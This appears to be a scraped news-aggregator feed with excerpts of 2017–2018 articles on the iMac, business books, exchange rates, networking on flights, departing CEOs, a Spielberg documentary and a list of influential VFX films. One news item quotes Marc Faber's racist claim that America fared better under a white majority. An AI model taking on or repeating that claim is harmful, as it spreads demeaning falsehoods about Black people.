Later aluminum models were refinements of the 2007 version’s basic formula, but they mirrored the evolution of both the wider tech industry and the iMac’s role — it was becoming an entry-level pro machine in a period where laptops and smartphones were taking over. The unibody iMac (from 2009 onward) touted a 27-inch display and quad-core processors, with later models helping to introduce Intel’s high-speed Thunderbolt port. The 2012 iMac, meanwhile, symbolized the death of the optical drive as people turned to cloud services and streaming video instead of burning backup discs and watching DVDs. It was far from the centerpiece of Apple’s lineup by that point, but ther was no question that it showed where Apple was going.

The iMac as workstation: Retina Display and iMac Pro

Apple iMac Pro

By 2014, the computing landscape was much, much different than in 1998. Smartphones and tablets were putting a serious dent in PC sales, and the iMac was being asked to fulfill roles that would have been unimaginable for an all-in-one in the ’90s, such as pro-level media editing. Apple’s solution? Lean into the iMac’s growing importance as a workhorse. The iMac with Retina Display packed one of the first 5K screens on the market, and with an aggressive price to boot. Many stand-alone 5K displays at the time cost more than the entire iMac, making it a bargain for creatives who valued resolution over a modular design.

And if you need evidence of exactly how much the iMac and Apple have changed in 20 years, you need only look at the iMac Pro. It’s arguably a stopgap system for customers waiting for the redesigned Mac Pro, but it represents an almost complete inversion of Apple’s strategy. Where the 1998 system was built to be accessible for computing rookies, the iMac Pro is strictly for demanding work between its Xeon workstation processor, pro-level graphics, SSD storage and its eye-watering $ 4,999 starting price. It’s far from a “computer for the rest of us,” as Apple used to say, but that’s also because computers themselves are no longer the all-purpose devices they used to be.

]]> https://briefnews.eu/apples-influential-iconic-imac-turns-20/feed/ 0 The 25 most influential books ever written about business https://briefnews.eu/the-25-most-influential-books-ever-written-about-business/ https://briefnews.eu/the-25-most-influential-books-ever-written-about-business/#respond Tue, 27 Mar 2018 12:23:03 +0000 http://briefnews.eu/the-25-most-influential-books-ever-written-about-business/ The Insider Picks team writes about stuff we think you’ll like. Business Insider has affiliate partnerships so we get a share of the revenue from your purchase.

Book collage 4x3

Warren Buffett — arguably the most skilled investor of our time — said reading 500 pages a day was the key to success, because “that’s how knowledge works. It builds up, like compound interest.”

Which is likely why so many important businessmen and women make reading a daily part of their lives. It’s why Bill Gates reads 50 books every year (roughly one a week) and Mark Zuckerberg kicked off 2015 with the goal of reading one every other week.

If you want exposure to new ideas, modes of thinking, and a compounded aggregate of diverse knowledge, then reading is important. And it’s going to help you in business, be it by a mixture of accounts on other corporate successes or failures and lessons on lean startups, or a 2,500-year-old military tome that works just as well in boardrooms as war.

Below are the 25 most influential business books of all time, if you’re looking to start with those most worth your time:

Descriptions provided by Amazon and edited for length.

“Business Adventures” by John Brooks

Amazon

What do the $ 350 million Ford Motor Company disaster known as the Edsel, the fast and incredible rise of Xerox, and the unbelievable scandals at General Electric and Texas Gulf Sulphur have in common? Each is an example of how an iconic company was defined by a particular moment of fame or notoriety; these notable and fascinating accounts are as relevant today to understanding the intricacies of corporate life as they were when the events happened.

Note: Bill Gates wrote in his blog, gatesnotes, that Warren Buffett not only recommended this as his favorite book about business, but actually sent Gates his own personal copy to read. Gates writes that more than four decades after it was first published, “Business Adventures” remains the best business book he’s ever read. 

Buy it here >>

“The Intelligent Investor” by Benjamin Graham

Amazon

The greatest investment advisor of the twentieth century, Benjamin Graham, taught and inspired people worldwide. Graham’s philosophy of “value investing” — which shields investors from substantial error and teaches them to develop long-term strategies — has made “The Intelligent Investor” the stock market bible ever since its original publication in 1949.

Note: Warren Buffett refers to “The Intelligent Investor” as the “best book on investing ever written.”

Buy it here >>

 

“The Innovator’s Dilemma: The Revolutionary Book That Will Change the Way You Do Business” by Clayton M. Christensen

Amazon

Offering both successes and failures from leading companies as a guide, “The Innovator’s Dilemma” gives you a set of rules for capitalizing on the phenomenon of disruptive innovation.

Note: Steve Jobs used this book as an explanation for one reason Apple needed to embrace cloud computing and is frequently associated with both Jobs and Jeff Bezos.

Buy it here >>


See the rest of the story at Business Insider

See Also:

READ THIS: Here are 15 books that will help you succeed in the tech world

]]> https://briefnews.eu/the-25-most-influential-books-ever-written-about-business/feed/ 0 Pound to euro exchange rate: Sterling ‘declines’ as ahead of influential Eurozone data https://briefnews.eu/pound-to-euro-exchange-rate-sterling-declines-as-ahead-of-influential-eurozone-data/ https://briefnews.eu/pound-to-euro-exchange-rate-sterling-declines-as-ahead-of-influential-eurozone-data/#respond Tue, 30 Jan 2018 08:58:07 +0000 http://briefnews.eu/pound-to-euro-exchange-rate-sterling-declines-as-ahead-of-influential-eurozone-data/

The pound to euro exchange rate saw the GBP currency fall against EUR today, Tuesday 30 January.

Pound Sterling is converting to €1.1355. in figures accurate at 7:30am.

This is lower compared to yesterday, when the pound converted to €1.1394.

Speaking to Express.co.uk, Laura Parsons, TorFX currency analyst said the pound could come back up today.

‘The pound extended its decline against the euro over the course of Tuesday, dropping back to the €1.135 level.

According to Laura, this has come “ahead of a run of influential ecostats for the Eurozone.” 

“Today’s German inflation numbers could help Sterling creep back towards last week’s highs if they show a decline in consumer price pressures.”

“However, the Eurozone’s growth stats are expected to be sturdy and could limit any EUR losses.”

Yesterday, Laura said there was “positive potential” for the pound this week.

She noted the pound stayed at “post referendum highs” against the US dollar.

She said: “After peaking at an eight-month high of €1.150 last week, the GBP/EUR exchange rate dropped from its best levels in the wake of the European Central Bank’s (ECB) rate decision.

“Speculation about the future of ECB monetary policy drove the euro higher across the board on Thursday.

“The common currency held gains heading into the weekend.

“With UK data lacking, speeches from ECB officials may be the main cause of GBP/EUR fluctuations in the hours ahead.

“Any vaguely hawkish remarks could see Sterling lose more ground to the euro.

“However, the pound remains at post-referendum highs against the US dollar and has the potential to extend last week’s bullish run if sentiment surrounding the UK’s economic outlook remains positive.”

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]]> https://briefnews.eu/pound-to-euro-exchange-rate-sterling-declines-as-ahead-of-influential-eurozone-data/feed/ 0 How to use air travel to meet influential people and boost your career, according to a tech exec who was once a flight attendant https://briefnews.eu/how-to-use-air-travel-to-meet-influential-people-and-boost-your-career-according-to-a-tech-exec-who-was-once-a-flight-attendant/ https://briefnews.eu/how-to-use-air-travel-to-meet-influential-people-and-boost-your-career-according-to-a-tech-exec-who-was-once-a-flight-attendant/#respond Sat, 27 Jan 2018 13:53:30 +0000 http://briefnews.eu/how-to-use-air-travel-to-meet-influential-people-and-boost-your-career-according-to-a-tech-exec-who-was-once-a-flight-attendant/ Ryan BonniciG2 Crowd

  • Ryan Bonnici started his career as a flight attendent.
  • A meeting with a Microsoft exec on a flight forever changed his career and his life.
  • That meeting led to a job at Microsoft which led to a career in tech.
  • He’s now an executive who flies first-class and he’s mastered the art of turning an airplane trip into a way to meet influential people.

Ryan Bonnici spends about 60% of his time traveling as the CMO of startup G2 Crowd, he tells Business Insider. He has a fabulous, high-paying career in tech and it all happened because of a chance encounter with a Microsoft exec on a flight when he was a kid in college working as a flight attendant.

That meeting, plus his years as a flight attendant along with his current lifestyle which has him flying all over the world, has given Bonnici a unique view about business trips.

For him, airplane trips are not something to be endured while traveling to the important business meeting. They’re also not to be dedicated to head-down work on the computer. They are an incredible resource for meeting powerful people that could, in one fell swoop, help you advance your career.

Bonnici knows this first hand. He became a flight attendant for Qantas when he was 19, putting his business degree on the part-time back burner so he could travel the world.

One day, a senior executive from Microsoft came aboard his flight. They talked, hit it off and she encouraged him to apply to a marketing leadership program at Microsoft and gave him tips on how to get through a grueling application process that involved beating out thousands of applicants. Low and behold, he was one of about 9 people to get the job.

He’s been climbing the tech career ladder ever since: ExactTarget, Salesforce, HubSpot, and now he’s an executive — the chief marketing officer — at G2 Crowd, a fast-growing startup that helps business find and rate software suppliers. (G2 Crowd was one of Business Insider’s 51 enterprise startups to bet your career on in 2018).

Since his chance encounter with the Microsoft exec, Bonnicih has learned to always treat every flight as an opportunity for business networking. Over the years, he’s met clients on airplanes that brought in millions of dollars of business, founded partnerships, and even discovered a career coach.

“I’ve learned a few tactics obviously,” he said. Here are his top pro tips:

You don’t have to fly business class to use these tips. “I fly all classes,” he says.

Flickr / Matthew Hurst

But do try and travel first-class or business class as much as possible, as it will increase your odds of meeting business execs and others who can become valuable contacts. “If someone is traveling up there, they are more likely successful.”

Getty Images

If you must fly coach, book a seat as close to the front of the plane as possible. That’s where frequent flyers — which tend to be business people — often fly when they get bumped from their first-class upgrade. Booking early helps you obtain those up-front seats.

American Airlines


See the rest of the story at Business Insider

]]> https://briefnews.eu/how-to-use-air-travel-to-meet-influential-people-and-boost-your-career-according-to-a-tech-exec-who-was-once-a-flight-attendant/feed/ 0 21 influential CEOs who stepped down in 2017 https://briefnews.eu/21-influential-ceos-who-stepped-down-in-2017/ https://briefnews.eu/21-influential-ceos-who-stepped-down-in-2017/#respond Mon, 25 Dec 2017 17:04:35 +0000 http://briefnews.eu/21-influential-ceos-who-stepped-down-in-2017/ Marissa MayerAP

2017 saw a raft of chief executives leave their companies. While some exits were expected and came after years of service, others were more surprising, brought on after the discovery of wrongdoing.

Take to heart these lessons learned about transparency, accountability, how to handle shifting marketplaces and how to approach your next chapter from these now former CEOs.

1. Travis Kalanick, Uber

Money Sharma/AFP/Getty Images

What happened: 2017 was a tumultuous year for Uber. It began with a $ 20 million payment to the FTC and controversy regarding Kalanick’s position advising President Donald Trump on a White House economic council. There were calls to #DeleteUber following the ride hailing service’s comportment during protests of the Trump administration’s travel ban. Then in February, former engineer Susan Fowler wrote a blog post chronicling the discrimination and sexual harassment she experienced during her year at the company.

Fowler’s post led to an investigation led by former attorney general Eric Holder, which in turn resulted in the firing of more than 20 employees and a complete overhaul of the company’s cultural values. Meanwhile, Uber was also engaged in a legal battle with Google over self-driving car technology. In June, Kalanick officially resigned, though he remains a member of the board. In August, former Expedia CEO Dara Khosrowshahi took over Uber’s top position.

What you can learn: You reap what you sow. A company culture that prioritizes results and rapid growth over the safety and value of employees cannot sustain itself.

2. Richard Smith, Equifax

What happened: Following a breach that left 143 million people’s personal information vulnerable, Richard Smith, the CEO of the consumer credit reporting agency, announced that he would be retiring from his position. It was later revealed that it was not the first time that the company had been hacked this year. The company’s response to the issue was highly criticized, as the website they set up for customers to check whether they had been affected required them to provide their social security numbers to access the information, but in doing so, they may have forfeited their right to sue.

What you can learn: Be transparent, no matter how big the issue is. You only stand to lose trust by continuing to keep customers in the dark.

3. Marissa Mayer, Yahoo

AFP

What happened: Mayer left Google to help turn Yahoo around in 2012, and her time at the internet company was marked with controversy, including a focus on mobile and digital that did not lead to a significant return and significant cybersecurity breaches. With the finalization of Verizon’s purchase of Yahoo, Mayer exited from the company with nearly $ 260 million.

What you can learn: Mayer’s legacy at Yahoo is up for debate, although she was able to exit her CEO role with a significant payout.


See the rest of the story at Business Insider

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]]> https://briefnews.eu/21-influential-ceos-who-stepped-down-in-2017/feed/ 0 Marc Faber, author of influential ‘Gloom, Doom, and Boom,’ report, says ‘thank God white people populated America, not the blacks’ https://briefnews.eu/marc-faber-author-of-influential-gloom-doom-and-boom-report-says-thank-god-white-people-populated-america-not-the-blacks/ https://briefnews.eu/marc-faber-author-of-influential-gloom-doom-and-boom-report-says-thank-god-white-people-populated-america-not-the-blacks/#respond Tue, 17 Oct 2017 14:52:29 +0000 http://briefnews.eu/marc-faber-author-of-influential-gloom-doom-and-boom-report-says-thank-god-white-people-populated-america-not-the-blacks/ marc faberREUTERS/Jessica Rinaldi

Marc Faber, the über-bearish investing newsletter author and frequent financial TV guest, wrote in his latest “Gloom, Doom, and Boom” report that he is glad the US “enjoyed 200 years in the economic and political sun under a white majority.”

In the October edition of his report, which is only available as a paper copy and was seen by Business Insider, Faber focused on the economic policies of major governments.

In a section of the report discussing “Free Markets and Capitalism Versus Socialism,” Faber variously decries the “liberal media,” “righteous socialist” New York City mayor Bill de Blasio, and the tearing down of Confederate monuments.

Faber says that most of the focus in today’s society is placed on issues like the monuments, rather than focusing on more important issues such as the growing amount of outstanding debt or “unfunded government pension liabilities.” The report then goes into an aside regarding his thoughts on the Confederate monuments.

From the report:

“I don’t want to enter into a serious discussion of about the tearing down of monuments of historical personalities, but I cannot omit mentioning how the liberal hypocrites condemned the Taliban when they blew up the world’s two largest standing Buddhas (one of them 165 feet high), situated at the foot of the Hindu Kush mountains of central Afghanistan, in 2001. But the very same people are now disturbed by statues of honourable people whose only crime was to defend what all societies had done for more than 5,000 years: keep a part of the population enslaved. And thank God white people populated America, and not the blacks. Otherwise, the US would look like Zimbabwe, which it might look like one day anyway, but at least America enjoyed 200 years in the economic and political sun under a white majority. I am not a racist, but the reality — no matter how politically incorrect — needs to be spelled out as well. (And let’s not forget that the African tribal heads were more than happy to sell their own slaves to white, black, and Arab slave dealers.)”

Faber, also known as “Dr. Doom,” has been a provocative market commentator for some time, predicting large crashes in the stock market due to various possible economic calamities.

Faber confirmed to Business Insider that the report was authentic.

“I am naturally standing by this comment since this is an undisputable [sic] fact,” Faber said in an email.

NOW WATCH: A $ 1 trillion money manager says the Trump Trade is back

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]]> https://briefnews.eu/marc-faber-author-of-influential-gloom-doom-and-boom-report-says-thank-god-white-people-populated-america-not-the-blacks/feed/ 0 ‘Spielberg’ Trailer: A Star-Studded Profile of One of Hollywood’s Most Influential Filmmakers https://briefnews.eu/spielberg-trailer-a-star-studded-profile-of-one-of-hollywoods-most-influential-filmmakers/ https://briefnews.eu/spielberg-trailer-a-star-studded-profile-of-one-of-hollywoods-most-influential-filmmakers/#respond Sun, 24 Sep 2017 16:20:02 +0000 http://briefnews.eu/spielberg-trailer-a-star-studded-profile-of-one-of-hollywoods-most-influential-filmmakers/ Steven Spielberg Documentary Trailer

There aren’t too many filmmakers who general audiences know by name. But if there’s one name still making movies today that they’ll recognize the most, it’s Steven Spielberg.

The man has been behind the movie magic and suspense of Jaws and Jurassic Park, the wonder of Close Encounters of the Third Kind and E.T. The Extra Terrestrial, the adventure and action of Raiders of the Lost Ark and Minority Report, and the powerful drama of The Color Purple and Schindler’s List. Now he’s getting in front of the camera for an extensive documentary profile on HBO that is simply called Spielberg, and the first trailer not only has the man himself, but it also features an impressive array of talent talking about the Oscar-winning filmmaker and his undeniable influence on cinema at large.

Watch the Steven Spielberg documentary trailer below.

Spielberg says that all of his films come from a part of him that he can’t really articulate, and I hope that the documentary is extensive enough that it allows us to hear in Spielberg’s own words what certain moments from his most iconic scenes mean to him on a level that we haven’t yet heard in other interviews and profiles on the filmmaker.

With such a publicized filmmaker as Steven Spielberg getting his own documentary, there’s a concern here that this won’t contain anything revelatory that hasn’t been discussed and dissected by cinephiles and scholars. But the line-up of names appearing in this documentary to talk about Steven Spielberg should offer some unique perspectives that we don’t normally have the opportunity to hear in reference to the director.

The documentary only gives us a sneak peek of the contributions made by fellow filmmaker Martin Scorsese, Schindler’s List star Liam Neeson and Catch Me If You Can star Leonardo DiCaprio. But other names appearing include J.J. Abrams, Christian Bale, Drew Barrymore, Cate Blanchett, Francis Ford Coppola, Daniel Craig, Daniel Day-Lewis, Brian de Palma, Laura Dern, Richard Dreyfuss, Ralph Fiennes, Harrison Ford, David Geffen, Tom Hanks, Dustin Hoffman, Holly Hunter, Jeffrey Katzenberg, Ben Kingsley, Kathleen Kennedy, George Lucas, Oprah Winfrey, and Robert Zemeckis.

Whew, that’s quite the line-up.

Behind the camera for this documentary is the highly experienced and qualified Susan Lacy, who worked on the popular PBS documentary series “American Masters” for over thirty years, racking up 79 episodes as executive producer, including several episodes that she wrote and/or directed herself, covering entertaining icons such as Mike Nichols, Judy Garland, David Geffen and Rod Serling. If Spielberg is half as good as I hope it will be, I would mind seeing Lacy take on even more documentary profiles of cinema’s finest filmmakers.

Here’s the official synopsis of Spielberg from the New York Film Festival, where it will premiere on October 5:

Susan Lacy’s Spielberg traces the private, public, and artistic development of one of cinema’s true giants, from his early love of moviemaking as a kid growing up in all-American suburbia, through his sudden rise to superstardom with Jaws, to his establishment of a film-and-TV empire with DreamWorks and beyond. All along the way, Spielberg has approached every new film as if it were his first. Featuring interviews with friends and contemporaries in the “New Hollywood” (Francis Coppola, Brian De Palma, George Lucas, Martin Scorsese); key artistic collaborators (including Tom Hanks, John Williams, longtime DP Janusz Kami?ski); and, the film’s most touching presences, Spielberg’s beloved sisters and parents, Arnold and Leah.

Spielberg will debut exclusively on HBO next month on October 7, 2017.

The post ‘Spielberg’ Trailer: A Star-Studded Profile of One of Hollywood’s Most Influential Filmmakers appeared first on /Film.

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]]> https://briefnews.eu/spielberg-trailer-a-star-studded-profile-of-one-of-hollywoods-most-influential-filmmakers/feed/ 0 Here Are The Most Influential VFX Movies of All Time, As Ranked By the Visual Effects Society https://briefnews.eu/here-are-the-most-influential-vfx-movies-of-all-time-as-ranked-by-the-visual-effects-society/ https://briefnews.eu/here-are-the-most-influential-vfx-movies-of-all-time-as-ranked-by-the-visual-effects-society/#respond Fri, 15 Sep 2017 23:27:24 +0000 http://briefnews.eu/here-are-the-most-influential-vfx-movies-of-all-time-as-ranked-by-the-visual-effects-society/ most influential visual effects movies

In honor of its 20th anniversary, the Visual Effects Society – a professional organization of artists, producers, technologists, and more who work in the entertainment industry – polled its nearly 3,400 members and determined a ranking of the most influential visual effects movies of all time. And since this is the internet, we’re legally bound to examine (and potentially argue with) a list like this after it’s published. So let’s take a look and see which films made the cut.

“The VES 70 represents films that have had a significant, lasting impact on the practice and appreciation of visual effects as an integral element of cinematic expression and storytelling,” VES board chair Mike Chambers explained. “We see this as an important opportunity for our members, leading visual effects practitioners worldwide, to pay homage to our heritage and help shape the future of the global visual effects community.”

Before we get into the list itself, I just want to point out a couple of quick things: James Cameron leads the pack of directors with six of his directorial efforts making an appearance (The Abyss, Aliens, Avatar, Terminator, Terminator, Terminator 2: Judgment Day, and Titanic), and it’s worth noting that this is an updated list from a decade ago when they ranked the top 50 most influential movies; they added 20 more here, with the most recent additions being a pair of 2015 movies: Ex Machina and Mad Max: Fury Road. (The oldest is Georges Melies’ A Trip to the Moon, from 1902.)

Without further adieu, here’s their full list:

300 (2007)

2001: A Space Odyssey (1968)

20,000 Leagues Under the Sea (1954)

A Trip to the Moon (1902)

The Abyss (1989)

Alien (1979)

Aliens (1986)

An American Werewolf in London (1981)

Apollo 13 (1995)

Avatar (2009)

Babe (1995)

Back to the Future (1985)

Blade Runner (1982)

Citizen Kane (1941)

Close Encounters of the Third Kind (1977)

The Curious Case of Benjamin Button (2008)

Darby O’Gill and the Little People (1958)

The Day the Earth Stood Still (1951)

District 9 (2009)

E.T. the Extraterrestrial (1982)

The Empire Strikes Back (1980)

Ex Machina (2015)

Fantastic Voyage (1966)

The Fifth Element (1997)

Forbidden Planet (1956)

Forrest Gump (1994)

Gertie the Dinosaur (1914)

Ghostbusters (1984)

Godzilla (1954)

Gravity (2013)

Inception (2010)

Independence Day (1996)

Jason and the Argonauts (1963)

Jaws (1975)

Jurassic Park (1993)

King Kong (1933)

King Kong (2005)

Life of Pi (2012)

Lord of the Rings: The Fellowship of the Ring (2001)

Lord of the Rings: The Return of the King (2003)

Lord of the Rings: The Two Towers (2002)

The Lost World (1925)

Mad Max: Fury Road (2015)

Mary Poppins (1964)

The Mask (1994)

The Matrix (1999)

Metropolis (1927)

Pirates of the Caribbean: Dead Man’s Chest (2006)

Planet of the Apes (1968)

Raiders of the Lost Ark (1981)

Return of the Jedi (1983)

Rise of the Planet of the Apes (2011)

The Seventh Voyage of Sinbad (1958)

Sin City (2005)

Snow White and the Seven Dwarfs (1937)

Star Wars (1977)

Starship Troopers (1997)

Superman: The Movie (1978)

The Ten Commandments (1956)

The Terminator (1984)

Terminator 2: Judgment Day (1991)

The Thing (1982)

Titanic (1997)

Total Recall (1990)

Toy Story (1995)

Tron (1982)

Transformers (2007)

Young Sherlock Holmes (1985)

The War of the Worlds (1953)

The Wizard of Oz (1939)

What Dreams May Come (1998)

Who Framed Roger Rabbit (1988)

There’s a difference between visual effects and special effects. Visual effects are achieved in post-production (often involving CGI), and special effects are mechanical or optical effects typically used during production to achieve a desired result in camera. As an outsider looking in on this list, I feel like Steven Spielberg’s E.T. has a better case as a special effects film than a visual effects movie, but that’s really the only gripe I have with these selections. The rest of them are all excellent examples of moving the technology forward or achieving something that had never been done before.

One last thing: the VES clearly isn’t a fan of superhero movies, since none of them save for Superman: The Movie made the list. I know some modern superhero films can be slip into becoming CGI bore-fests, but still: no love for The Avengers seems like a bit of a slap in the face, doesn’t it?

The post Here Are The Most Influential VFX Movies of All Time, As Ranked By the Visual Effects Society appeared first on /Film.

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